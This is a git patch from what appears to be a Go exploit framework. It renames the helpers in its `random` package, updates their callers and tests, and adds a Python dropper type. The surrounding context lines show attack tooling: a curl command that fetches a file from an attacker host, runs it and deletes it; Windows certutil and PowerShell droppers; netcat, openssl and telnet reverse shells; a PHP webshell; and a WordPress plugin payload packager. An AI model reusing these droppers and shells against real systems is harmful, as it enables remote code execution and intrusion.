From 7331666f5d0a907fe4ce3a83c93d3258e0face88 Mon Sep 17 00:00:00 2001 From: terrorbyte Date: Thu, 20 Mar 2025 15:12:30 -0600 Subject: [PATCH] Remove `random` package `Random` prefixes. Having every function prefixed with Random is redundant and can sometimes cause more confusion than it helps. This is a pretty big change and should not be merged until supported packages can change. --- c2/httpservefile/httpservefile.go | 2 +- encryption/certificate.go | 2 +- java/javaclass.go | 4 +-- payload/bindshell/netcat.go | 4 +-- payload/dropper/dropper.go | 2 ++ payload/dropper/unix.go | 4 +-- payload/dropper/windows.go | 6 ++-- payload/fileplant/cron.go | 4 +-- payload/reverse/netcat.go | 2 +- payload/reverse/openssl.go | 4 +-- payload/reverse/telnet.go | 4 +-- payload/webshell/php.go | 2 +- product/wordpress/plugins.go | 8 ++--- product/wordpress/wordpress.go | 2 +- protocol/ajp/ajp.go | 2 +- random/random.go | 48 +++++++++++++------------- random/random_test.go | 56 +++++++++++++++---------------- 17 files changed, 79 insertions(+), 77 deletions(-) diff --git a/c2/httpservefile/httpservefile.go b/c2/httpservefile/httpservefile.go index a0b16c5..618f396 100644 --- a/c2/httpservefile/httpservefile.go +++ b/c2/httpservefile/httpservefile.go @@ -144,7 +144,7 @@ func (httpServer *Server) Init(channel channel.Channel) bool { hosted := HostedFile{ RealName: shortName, - RandomName: random.RandLetters(12), + RandomName: random.Letters(12), FileData: fileData, } diff --git a/encryption/certificate.go b/encryption/certificate.go index ad32303..e29ed2c 100644 --- a/encryption/certificate.go +++ b/encryption/certificate.go @@ -23,7 +23,7 @@ func GenerateCertificate() (tls.Certificate, bool) { template := x509.Certificate{ SerialNumber: big.NewInt(8), - Subject: pkix.Name{CommonName: random.RandLetters(12)}, + Subject: pkix.Name{CommonName: random.Letters(12)}, NotBefore: time.Now(), NotAfter: time.Now().Add(24 * time.Hour), BasicConstraintsValid: true, diff --git a/java/javaclass.go b/java/javaclass.go index e40690c..aaddaf6 100644 --- a/java/javaclass.go +++ b/java/javaclass.go @@ -211,7 +211,7 @@ func ReverseShellBytecode(conf *config.Config) (string, string) { "\x00\x00\x02\x00\x44" classSize := make([]byte, 2) - classString := transform.Title(random.RandLettersRange(8, 17)) + classString := transform.Title(random.LettersRange(8, 17)) binary.BigEndian.PutUint16(classSize, uint16(len(classString))) ipSize := make([]byte, 2) @@ -642,7 +642,7 @@ func ReverseShellScriptingEngineBytecode(conf *config.Config) (string, string) { "\x00\x02\x00\x54" classSize := make([]byte, 2) - classString := transform.Title(random.RandLettersRange(8, 17)) + classString := transform.Title(random.LettersRange(8, 17)) binary.BigEndian.PutUint16(classSize, uint16(len(classString))) ipSize := make([]byte, 2) diff --git a/payload/bindshell/netcat.go b/payload/bindshell/netcat.go index 9ccb3d0..886de2e 100644 --- a/payload/bindshell/netcat.go +++ b/payload/bindshell/netcat.go @@ -21,13 +21,13 @@ func (nc *NetcatPayload) Gaping(bport int) string { } func (nc *NetcatPayload) Mknod(bport int) string { - node := random.RandLetters(3) + node := random.Letters(3) return fmt.Sprintf(NetcatMknod, node, bport, node, node, node) } func (nc *NetcatPayload) Mkfifo(bport int) string { - fifo := random.RandLetters(3) + fifo := random.Letters(3) return fmt.Sprintf(NetcatMkfifo, fifo, bport, fifo, fifo, fifo) } diff --git a/payload/dropper/dropper.go b/payload/dropper/dropper.go index cb96e84..ba5a348 100644 --- a/payload/dropper/dropper.go +++ b/payload/dropper/dropper.go @@ -11,6 +11,7 @@ type ( WindowsPayload struct{} GroovyPayload struct{} PHPPayload struct{} + PythonPayload struct{} ) var ( @@ -18,4 +19,5 @@ var ( Windows = &WindowsPayload{} Groovy = &GroovyPayload{} PHP = &PHPPayload{} + Python = &PythonPayload{} ) diff --git a/payload/dropper/unix.go b/payload/dropper/unix.go index fab8799..6bd6f99 100644 --- a/payload/dropper/unix.go +++ b/payload/dropper/unix.go @@ -8,7 +8,7 @@ import ( // Download a remote file with curl, execute it, and delete it. func (unix *UnixPayload) CurlHTTP(lhost string, lport int, ssl bool, downloadFile string) string { - output := "/tmp/" + random.RandLetters(3) + output := "/tmp/" + random.Letters(3) if ssl { return fmt.Sprintf("curl -kso %s https://%s:%d/%s && chmod +x %s && %s & rm -f %s", @@ -21,7 +21,7 @@ func (unix *UnixPayload) CurlHTTP(lhost string, lport int, ssl bool, downloadFil // Download a remote file with curl or wget, execute it, and delete it. func (unix *UnixPayload) EitherHTTP(lhost string, lport int, ssl bool, downloadFile string) string { - output := "/tmp/" + random.RandLetters(3) + output := "/tmp/" + random.Letters(3) uri := fmt.Sprintf("%s:%d/%s", lhost, lport, downloadFile) if ssl { diff --git a/payload/dropper/windows.go b/payload/dropper/windows.go index 3eeb5e5..6a2ac0f 100644 --- a/payload/dropper/windows.go +++ b/payload/dropper/windows.go @@ -9,7 +9,7 @@ import ( // Download a remote file with curl.exe, execute it, and delete it (after execution). func (win *WindowsPayload) CurlHTTP(lhost string, lport int, ssl bool, downloadFile string) string { - output := `%TEMP%\` + random.RandLetters(3) + ".exe" + output := `%TEMP%\` + random.Letters(3) + ".exe" // NOTE: Can't delete a file in use if ssl { @@ -21,7 +21,7 @@ func (win *WindowsPayload) CurlHTTP(lhost string, lport int, ssl bool, downloadF // Download a remote file with certutil.exe, execute it, and delete it (after execution). func (win *WindowsPayload) CertutilHTTP(lhost string, lport int, ssl bool, downloadFile string) string { - output := `%TEMP%\` + random.RandLetters(3) + ".exe" + output := `%TEMP%\` + random.Letters(3) + ".exe" uri := fmt.Sprintf("http://%s:%d/%s", lhost, lport, downloadFile) if ssl { @@ -35,7 +35,7 @@ func (win *WindowsPayload) CertutilHTTP(lhost string, lport int, ssl bool, downl func (win *WindowsPayload) PowershellHTTP(lhost string, lport int, ssl bool, downloadFile string) string { // .NET method 'GetTempPath' instead relying on environment variables for better compatibility // Details: https://learn.microsoft.com/en-us/dotnet/api/system.io.path.gettemppath - output := `"$([System.IO.Path]::GetTempPath())` + random.RandLetters(3) + `.exe"` + output := `"$([System.IO.Path]::GetTempPath())` + random.Letters(3) + `.exe"` uri := fmt.Sprintf("http://%s:%d/%s", lhost, lport, downloadFile) if ssl { uri = fmt.Sprintf("https://%s:%d/%s", lhost, lport, downloadFile) diff --git a/payload/fileplant/cron.go b/payload/fileplant/cron.go index 95770c3..3357a5b 100644 --- a/payload/fileplant/cron.go +++ b/payload/fileplant/cron.go @@ -17,8 +17,8 @@ var Cron = &CronPayload{} // return should be uploaded to "xploitPath" (e.g. /tmp/helloworld). The cron file will trigger // execution of the bash script which will delete both the cron and itself. Example usage: // -// cronPath := fmt.Sprintf("/etc/cron.d/%s", random.RandLetters(8)) -// xploitPath := fmt.Sprintf("/tmp/%s", random.RandLetters(8)) +// cronPath := fmt.Sprintf("/etc/cron.d/%s", random.Letters(8)) +// xploitPath := fmt.Sprintf("/tmp/%s", random.Letters(8)) // xploit, ok := generatePayload(conf) // if !ok { // return false diff --git a/payload/reverse/netcat.go b/payload/reverse/netcat.go index 0225ea7..e9009db 100644 --- a/payload/reverse/netcat.go +++ b/payload/reverse/netcat.go @@ -23,7 +23,7 @@ func (nc *NetcatPayload) Gaping(lhost string, lport int) string { // Uses mknod to create a FIFO that redirects interactive shell through netcat and the FIFO. func (nc *NetcatPayload) Mknod(lhost string, lport int) string { - node := random.RandLetters(3) + node := random.Letters(3) return fmt.Sprintf(NetcatMknod, node, node, lhost, lport, node, node) } diff --git a/payload/reverse/openssl.go b/payload/reverse/openssl.go index ca1b3b5..9b2bf75 100644 --- a/payload/reverse/openssl.go +++ b/payload/reverse/openssl.go @@ -17,13 +17,13 @@ func (openssl *OpenSSLPayload) Default(lhost string, lport int) string { } func (openssl *OpenSSLPayload) Mknod(lhost string, lport int) string { - node := random.RandLetters(3) + node := random.Letters(3) return fmt.Sprintf(OpenSSLDefault, node, node, lhost, lport, node, node) } func (openssl *OpenSSLPayload) Mkfifo(lhost string, lport int) string { - fifo := random.RandLetters(3) + fifo := random.Letters(3) return fmt.Sprintf(OpenSSLMkfifo, fifo, fifo, lhost, lport, fifo, fifo) } diff --git a/payload/reverse/telnet.go b/payload/reverse/telnet.go index 49b006c..199914d 100644 --- a/payload/reverse/telnet.go +++ b/payload/reverse/telnet.go @@ -19,7 +19,7 @@ func (telnet *TelnetPayload) Default(lhost string, lport int, colon bool) string } func (telnet *TelnetPayload) Mknod(lhost string, lport int, colon bool) string { - node := random.RandLetters(3) + node := random.Letters(3) if colon { return fmt.Sprintf(TelnetMknod, node, node, lhost, lport, node, node) @@ -29,7 +29,7 @@ func (telnet *TelnetPayload) Mknod(lhost string, lport int, colon bool) string { } func (telnet *TelnetPayload) Mkfifo(lhost string, lport int, colon bool) string { - fifo := random.RandLetters(3) + fifo := random.Letters(3) if colon { return fmt.Sprintf(TelnetMkfifo, fifo, lhost, lport, fifo, fifo, fifo) diff --git a/payload/webshell/php.go b/payload/webshell/php.go index 7c71251..ef80fee 100644 --- a/payload/webshell/php.go +++ b/payload/webshell/php.go @@ -11,7 +11,7 @@ import ( // // shell, param := webshell.PHP.MinimalGet() func (php *PHPWebshell) MinimalGet() (string, string) { - index := random.RandLetters(8) + index := random.Letters(8) return fmt.Sprintf("", index), index } diff --git a/product/wordpress/plugins.go b/product/wordpress/plugins.go index 38dba1b..6ac4730 100644 --- a/product/wordpress/plugins.go +++ b/product/wordpress/plugins.go @@ -63,16 +63,16 @@ func GeneratePlugin(payload, name string) (string, []byte, bool) { buf := new(bytes.Buffer) w := zip.NewWriter(buf) - payloadName := random.RandLetters(10) + ".php" + payloadName := random.Letters(10) + ".php" files := []struct { Name, Body string }{ { name + ".php", fmt.Sprintf(pluginStub, name, // Plugin name - random.RandDigits(2)+"."+random.RandDigits(2)+"."+random.RandDigits(2), // Version - random.RandLetters(10), // Author - "https://"+random.RandHex(10)+".org", // URI + random.Digits(2)+"."+random.Digits(2)+"."+random.Digits(2), // Version + random.Letters(10), // Author + "https://"+random.Hex(10)+".org", // URI ), }, {payloadName, payload}, diff --git a/product/wordpress/wordpress.go b/product/wordpress/wordpress.go index 8c4854d..dd1994a 100644 --- a/product/wordpress/wordpress.go +++ b/product/wordpress/wordpress.go @@ -21,7 +21,7 @@ func Login(conf *config.Config, username, password string) ([]*http.Cookie, bool form.Add("pwd", password) form.Add("wp-submit", "Login") url := protocol.GenerateURL(conf.Rhost, conf.Rport, conf.SSL, "/"+LoginPath) - form.Add("redirect_to", url+"#"+random.RandLettersRange(10, 20)) + form.Add("redirect_to", url+"#"+random.LettersRange(10, 20)) headers := map[string]string{ "Content-Type": "application/x-www-form-urlencoded", } diff --git a/protocol/ajp/ajp.go b/protocol/ajp/ajp.go index 56fb150..fe8c157 100644 --- a/protocol/ajp/ajp.go +++ b/protocol/ajp/ajp.go @@ -10,7 +10,7 @@ // "/", // } // -// status, data, ok := ajp.SendAndRecv(conf.Rhost, conf.Rport, conf.SSL, "/"+random.RandLetters(12), "GET", []string{}, attributes) +// status, data, ok := ajp.SendAndRecv(conf.Rhost, conf.Rport, conf.SSL, "/"+random.Letters(12), "GET", []string{}, attributes) // if !ok { // return false // } diff --git a/random/random.go b/random/random.go index 8caceca..54659ed 100644 --- a/random/random.go +++ b/random/random.go @@ -11,8 +11,8 @@ var ( digits = []rune("0123456789") ) -// RandIntRange generates an `int` between [min,max). -func RandIntRange(rangeMin int, rangeMax int) int { +// IntRange generates an `int` between [min,max). +func IntRange(rangeMin int, rangeMax int) int { rangeMaxBig := big.NewInt(int64(rangeMax) - int64(rangeMin)) n, err := rand.Int(rand.Reader, rangeMaxBig) if err != nil { @@ -22,8 +22,8 @@ func RandIntRange(rangeMin int, rangeMax int) int { return int(n.Int64() + int64(rangeMin)) } -// RandPositiveInt generates a non-negative crypto-random number in the half-open interval [0,max). -func RandPositiveInt(rangeMax int) int { +// PositiveInt generates a non-negative crypto-random number in the half-open interval [0,max). +func PositiveInt(rangeMax int) int { n, err := rand.Int(rand.Reader, big.NewInt(int64(rangeMax))) if err != nil { panic(err) @@ -32,19 +32,19 @@ func RandPositiveInt(rangeMax int) int { return int(n.Int64()) } -// RandLetters generates a random alpha string of length n. -func RandLetters(n int) string { +// Letters generates a random alpha string of length n. +func Letters(n int) string { runeSlice := make([]rune, n) for i := range runeSlice { - runeSlice[i] = letters[RandPositiveInt(len(letters))] + runeSlice[i] = letters[PositiveInt(len(letters))] } return string(runeSlice) } -// RandLetters generates a random alpha string with no bad chars of length n. +// Letters generates a random alpha string with no bad chars of length n. // This will return an empty string if the caller badchars all "letters". -func RandLettersNoBadChars(n int, badchars []rune) string { +func LettersNoBadChars(n int, badchars []rune) string { // rebuild the letters slice without the bad chars. O(n^2) implementation // not really sure it is worthwhile to get more fancy :shrug: var nobad []rune @@ -66,48 +66,48 @@ func RandLettersNoBadChars(n int, badchars []rune) string { runeSlice := make([]rune, n) for i := range runeSlice { - runeSlice[i] = nobad[RandPositiveInt(len(nobad))] + runeSlice[i] = nobad[PositiveInt(len(nobad))] } return string(runeSlice) } -// RandLettersRange generates a random alpha string of length [min,max). -func RandLettersRange(rangeMin int, rangeMax int) string { - return RandLetters(RandIntRange(rangeMin, rangeMax-1)) +// LettersRange generates a random alpha string of length [min,max). +func LettersRange(rangeMin int, rangeMax int) string { + return Letters(IntRange(rangeMin, rangeMax-1)) } -func RandHex(n int) string { +func Hex(n int) string { runeSlice := make([]rune, n) for i := range runeSlice { - runeSlice[i] = hex[RandPositiveInt(len(hex))] + runeSlice[i] = hex[PositiveInt(len(hex))] } return string(runeSlice) } -// RandHexRange generates a random hex string of length [min,max). -func RandHexRange(rangeMin int, rangeMax int) string { - return RandHex(RandIntRange(rangeMin, rangeMax-1)) +// HexRange generates a random hex string of length [min,max). +func HexRange(rangeMin int, rangeMax int) string { + return Hex(IntRange(rangeMin, rangeMax-1)) } -func RandDigits(n int) string { +func Digits(n int) string { runeSlice := make([]rune, n) for i := range runeSlice { - runeSlice[i] = digits[RandPositiveInt(len(digits))] + runeSlice[i] = digits[PositiveInt(len(digits))] } // keep assigning a new digit until the first one isn't 0' if len(runeSlice) > 0 { for runeSlice[0] == '0' { - runeSlice[0] = digits[RandPositiveInt(len(digits))] + runeSlice[0] = digits[PositiveInt(len(digits))] } } return string(runeSlice) } -// RandDigitsRange generates a random numeric string of length [min,max). -func RandDigitsRange(rangeMin int, rangeMax int) string { - return RandDigits(RandIntRange(rangeMin, rangeMax)) +// DigitsRange generates a random numeric string of length [min,max). +func DigitsRange(rangeMin int, rangeMax int) string { + return Digits(IntRange(rangeMin, rangeMax)) } diff --git a/random/random_test.go b/random/random_test.go index 9d435f1..7d90d52 100644 --- a/random/random_test.go +++ b/random/random_test.go @@ -4,8 +4,8 @@ import ( "testing" ) -func Test_RandPositiveInt(t *testing.T) { - integer := RandPositiveInt(10) +func Test_PositiveInt(t *testing.T) { + integer := PositiveInt(10) if integer > 10 { t.Error("Integer larger than 10") } @@ -14,8 +14,8 @@ func Test_RandPositiveInt(t *testing.T) { } } -func Test_RandIntRange(t *testing.T) { - integer := RandIntRange(-2, 10) +func Test_IntRange(t *testing.T) { + integer := IntRange(-2, 10) if integer > 10 { t.Error("Integer larger than 10") } @@ -24,41 +24,41 @@ func Test_RandIntRange(t *testing.T) { } } -func Test_RandLetters(t *testing.T) { - letters := RandLetters(8) +func Test_Letters(t *testing.T) { + letters := Letters(8) if len(letters) != 8 { t.Error("Failed to generate an 8 char string") } - letters = RandLetters(1) + letters = Letters(1) if len(letters) != 1 { t.Error("Failed to generate a 1 char string") } - letters = RandLetters(0) + letters = Letters(0) if len(letters) != 0 { t.Error("Failed to generate a 0 char string") } - letters = RandLetters(64) + letters = Letters(64) if len(letters) != 64 { t.Error("Failed to generate a 64 char string") } for _, value := range letters { if !(int(value) >= 65 && int(value) <= 90) && !(int(value) >= 97 && int(value) <= 122) { - t.Error("RandLetters used value outside of ascii letter ranges.") + t.Error("Letters used value outside of ascii letter ranges.") } } } -func Test_RandLettersNoBadChars(t *testing.T) { +func Test_LettersNoBadChars(t *testing.T) { // loop 100 times generating random letter strings and ensure // they don't contain a bad value. for range 100 { - letters := RandLettersNoBadChars(12, []rune("abcd")) + letters := LettersNoBadChars(12, []rune("abcd")) if len(letters) == 0 { - t.Error("RandLettersNoBadChars created an empty string") + t.Error("LettersNoBadChars created an empty string") } for _, value := range letters { if value == 'a' || value == 'b' || value == 'c' || value == 'd' { @@ -68,8 +68,8 @@ func Test_RandLettersNoBadChars(t *testing.T) { } } -func Test_RandDigits(t *testing.T) { - digits := RandDigits(8) +func Test_Digits(t *testing.T) { + digits := Digits(8) if len(digits) != 8 { t.Error("Failed to generate an 8 char string") } @@ -80,52 +80,52 @@ func Test_RandDigits(t *testing.T) { for _, value := range digits { if !(int(value) >= 48 && int(value) <= 57) { - t.Error("RandDigits used value outside of ascii digit ranges.") + t.Error("Digits used value outside of ascii digit ranges.") } } } -func Test_RandHex(t *testing.T) { - hex := RandHex(8) +func Test_Hex(t *testing.T) { + hex := Hex(8) if len(hex) != 8 { t.Error("Failed to generate an 8 char string") } for _, value := range hex { if !(int(value) >= 48 && int(value) <= 57) && !(int(value) >= 97 && int(value) <= 102) { - t.Error("RandHex used value outside of ascii hex ranges: " + string(value)) + t.Error("Hex used value outside of ascii hex ranges: " + string(value)) } } } -func Test_RandLettersRange(t *testing.T) { - letters := RandLettersRange(2, 10) +func Test_LettersRange(t *testing.T) { + letters := LettersRange(2, 10) if len(letters) < 2 || len(letters) >= 10 { t.Error("Created a string outside of the [2,10) range") } for _, value := range letters { if !(int(value) >= 65 && int(value) <= 90) && !(int(value) >= 97 && int(value) <= 122) { - t.Error("RandLettersRange used value outside of ascii letter ranges.") + t.Error("LettersRange used value outside of ascii letter ranges.") } } } -func Test_RandHexRange(t *testing.T) { - hex := RandHexRange(2, 10) +func Test_HexRange(t *testing.T) { + hex := HexRange(2, 10) if len(hex) < 2 || len(hex) >= 10 { t.Error("Created a string outside of the [2,10) range") } for _, value := range hex { if !(int(value) >= 48 && int(value) <= 57) && !(int(value) >= 97 && int(value) <= 102) { - t.Error("RandHex used value outside of ascii hex ranges: " + string(value)) + t.Error("Hex used value outside of ascii hex ranges: " + string(value)) } } } -func Test_RandDigitsRange(t *testing.T) { - digits := RandDigitsRange(2, 10) +func Test_DigitsRange(t *testing.T) { + digits := DigitsRange(2, 10) if len(digits) < 2 || len(digits) >= 10 { t.Error("Created a string outside of the [2,10) range") } @@ -136,7 +136,7 @@ func Test_RandDigitsRange(t *testing.T) { for _, value := range digits { if !(int(value) >= 48 && int(value) <= 57) { - t.Error("RandDigits used value outside of ascii digit ranges.") + t.Error("Digits used value outside of ascii digit ranges.") } } }